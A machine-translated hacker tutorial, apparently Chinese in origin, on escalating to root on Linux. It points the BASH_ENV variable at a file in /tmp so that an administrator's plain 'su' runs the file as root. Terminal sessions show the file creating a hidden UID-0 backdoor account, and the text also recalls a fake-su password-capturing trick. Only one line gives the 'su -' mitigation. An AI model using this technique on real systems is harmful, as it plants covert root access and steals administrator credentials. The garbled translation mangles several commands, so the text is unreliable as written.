A technique for Linux claim-safety tutorial

Author: Xi4oyu
One test:

[Xiaoyu@localdomain ~]$ Echo $BASH _env

[Xiaoyu@localdomain ~]$ export bash_env= "/TMP/.BASHRC"
[Xiaoyu@localdomain ~]$ Echo $BASH _env
/tmp/.bashrc

[Xiaoyu@localdomain ~]$ CAT/TMP/.BASHRC
#!/bin/bash
echo "Hello"

[Xiaoyu@localdomain ~]$ Ls-l
-rwxrwxr-x 1 Xiaoyu xiaoyu 2008-09-11 05:54 test.sh

[Xiaoyu@localdomain ~]$ Cat test.sh
#!/bin/bash
echo "KK"

[Xiaoyu@localdomain ~]$./test.sh
Hello
Kk

Well, that's good, as we expected. Let's see how we use it.

grep su ~/.bash_history

Shows that this user has a special hobby using the SU login root account. We used to have a fakesu.c in this situation. Then modify. bash_profile, create individual names and things like that. Use Getpass to get root password, record, and then remove alias ... The key is that the administrator will be prompted for a password error when logging in with the correct password. Encounter a silly administrator may let this detail, and then enter the password on the OK. But some Non-human admin will be the fastest speed to check the system is the sign of intrusion, plus what, and this administrator to change the root password is almost certain. So stealing the password is useless. Well, the smart X-Men must know what I'm going to do. Oh, first look at the environment variable su after not

[Xiaoyu@localdomain ~]$ Echo $BASH _env
/tmp/.bashrc
[Xiaoyu@localdomain ~]$ su
Password:
[Root@localdomain xiaoyu]# Echo $BASH _env
/tmp/.bashrc
Ah oh, still in, OK, the end of the experiment, Combat:

[Xiaoyu@localdomain tmp]$ Echo '/usr/sbin/useradd-u 0-o kk 2>/dev/null ' >/TMP/.BASHRC
[Xiaoyu@localdomain tmp]$ CAT/TMP/.BASHRC
/usr/sbin/useradd-u 0-o KK 2>/dev/null
[Xiaoyu@localdomain tmp]$ grep kk/etc/passwd
[Xiaoyu@localdomain tmp]$ Echo $BASH _env
/tmp/.bashrc
[Xiaoyu@localdomain tmp]$ su
Password:
[Root@localdomain tmp]# Cd/home/xiaoyu
[Root@localdomain xiaoyu]#./test.sh
Kk
[Root@localdomain xiaoyu]# grep kk/etc/passwd
Kk:x:0:503::/home/kk:/bin/bash
[Root@localdomain xiaoyu]#

Oh, change the password statement I did not add in. I think, oh, I do not know, I do not know

Well, about how to place, like Fakesu, in the. Bash_profile and other places export bash_env variables ...

If you want to avoid this situation, use Su-login root, and it is estimated that few administrators remember this instruction. Sweat...

Later will slowly release some small skill, many things nest in the nest, oneself all forgot ... 囧!